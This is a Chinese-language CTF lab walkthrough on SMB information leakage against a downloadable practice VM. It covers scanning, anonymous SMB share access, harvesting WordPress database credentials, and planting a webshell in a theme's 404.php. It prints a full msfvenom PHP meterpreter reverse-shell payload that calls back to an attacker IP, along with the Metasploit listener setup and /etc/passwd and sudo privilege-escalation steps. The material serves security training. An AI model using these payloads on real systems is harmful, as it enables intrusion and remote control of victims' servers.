ctf训练 SMB信息泄露

ctf训练 SMB信息泄露

SMB介绍

SMB (Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba

SMB协议是基于TCP - NETBIOS下的,一般端口使用为139,445

SMB协议,计算机可以访问网络资源,下载对应的资源文件

实验环境

一台kail攻击机 和 靶机
靶机镜像:

https://pan.baidu.com/s/12R-yG9Ra8CfAzgWbdyQRmg
提取码:b2ot

安装打开靶机(使用Oracle VM VirtualBox打开):
注意:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)

接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台

使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机
ctf训练  SMB信息泄露

信息探测

对于只是给定一个对应IP地址的靶场机器,我们需要用对其进行扫描,探测开放的服务。

渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限

  • nmap -A -v -T4 IP 挖掘靶场全部信息

ctf训练  SMB信息泄露

  • nmap -sV IP 挖掘开放服务信息
    ctf训练  SMB信息泄露我们发现目标靶机有22,80,139,445,3306这几个可能有用的端口开放,其中139和445是开放SMB服务的。

分析探测结果

每一个服务对应计算机的一个端口,用来进行通信。常用端0~1023端口,在扫描结果中查找特殊端口

针对特殊端口进行探测,尤其对开发大端口的http服务进行排查;

针对SMB协议弱点分析

1.实过SMB协议。使用空口令,若口令尝试登陆,并查看敏感

  • smbclient -L IP

输入口令时,直接敲回车,然后得到下面三个文件名,
ctf训练  SMB信息泄露
然后接着探测这三个文件,使用如下命令

  • smbclient ‘\IP$share’

ctf训练  SMB信息泄露ctf训练  SMB信息泄露最后发现只有share下才有内容,这里关注一下deets.txt和wordpress

然后使用如下命令

get敏感文件

ctf训练  SMB信息泄露查看文件内容,这里找到一个密码信息:12345
ctf训练  SMB信息泄露
然后接下来查看wordpress
ctf训练  SMB信息泄露
这里额外关注wp-config.php
ctf训练  SMB信息泄露查看文件内容
ctf训练  SMB信息泄露

得到了一个数据库的用户名和密码
ctf训练  SMB信息泄露
这里获取到的两个敏感信息或许到后面有用,故记录下来

2.针对SMB协议远程溢出漏洞进行分析;

  • searchsploit samba版本号

ctf训练  SMB信息泄露这里并没有结果

针对HTTP协议弱点分析

2.使用dirb nikto探测;
ctf训练  SMB信息泄露

ctf训练  SMB信息泄露1.浏览器查看网站;

访问网站,使用之前得到的数据库用户名和密码
ctf训练  SMB信息泄露

3.寻找突破点,目标登录后台,上传webshell;

制作webshell

msfvenom -p php/meterpreter/reverse_tcp lhost=kali_ip lport=4444 -f raw

ctf训练  SMB信息泄露<?php /**/ error_reporting(0); $ip = '192.168.43.96'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();复制下来,然后写入webshell.php

ctf训练  SMB信息泄露

启动监听

使用msf,


 msf > use exploit/multi/handler 
 msf exploit(handler) > set payload php/meterpreter/reverse_tcp 
 msf exploit(handler) > set lhost 攻击机IP地址 
 msf exploit(handler) > set lport4444 
 msf exploit(handler) > run

ctf训练  SMB信息泄露ctf训练  SMB信息泄露
ctf训练  SMB信息泄露

上传Webshell

使用找到的敏感信息登录系统后台,上传webshell。执行webshell(访问具有webshell的php页面)

获得反弹的shell

– wordpress上传点theme 404.php

执行: http://靶场IP/wordpress/wp-content/themes/twentyfifteen/404.php
ctf训练  SMB信息泄露

ctf训练  SMB信息泄露
查找flag信息

优化终端: python -c “import pty; pty.spawn(” /bin/bash")'查找敏感信息,提升root权限,查看flag值。
ctf训练  SMB信息泄露

查找用户名: cat /etc/passwd
查找密码:在共享目录下的敏感文件,提升权限
– su用户名
– sudo -l
– su sudo
ctf训练  SMB信息泄露ctf训练  SMB信息泄露ctf训练  SMB信息泄露
ctf训练  SMB信息泄露

上一篇:应急响应之如何发现隐藏的Webshell后门


下一篇:Window提权